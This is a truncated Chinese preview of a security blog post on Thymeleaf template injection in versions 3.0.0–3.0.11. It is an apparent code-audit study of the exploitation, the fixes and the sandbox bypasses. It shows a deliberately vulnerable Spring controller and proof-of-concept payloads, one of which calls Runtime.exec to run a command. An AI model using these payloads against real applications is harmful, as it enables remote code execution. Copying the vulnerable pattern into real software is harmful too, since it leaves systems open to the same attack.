专栏名称: XG小刚
个人知识库,主要记录学习历程。涉及Web安全,代码审计,操作系统,内网渗透,免杀技术,Python编程,乱七杂八等等。
今天看啥  ›  专栏  ›  XG小刚

Thymeleaf模板注入还能打吗?

XG小刚  · 公众号  ·  · 2024-09-01 09:53

文章预览

拍摄于:烟台大学小树林 Thymeleaf模板注入 最近在研究代码审计,顺便学到了Thymeleaf模板注入 本文主要分析Thymeleaf模板注入的利用和修复,以及各版本的修复方式和绕过方式 Html文件利用 这是目前最常见的利用方式 html> ${} 里面的内容其实是执行的SPEL表达式 后续版本Thymeleaf 添加了沙箱防护机制,限制了一些黑名单类 TemplateName利用 在Thymeleaf 3.0.0 至 3.0.11 版本存在该漏洞 @Controller publicclassThymeleafDemoController{     @GetMapping("/path")     publicString path(String path){         return"user/"+ path +"/welcome";     } } 利用poc path=__${6*6}__:: path=__${T(Runtime).getRuntime().exec("open -a calculator.app")}__:: 具体原理就是使用Thymeleaf进行渲染是调用的 ThymeleafView.render() 函数 然后调用的 renderFragment() 函数进行渲染 此时templateName是return回来的值 将 templateName 赋值给 viewTemplateName 然后 ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览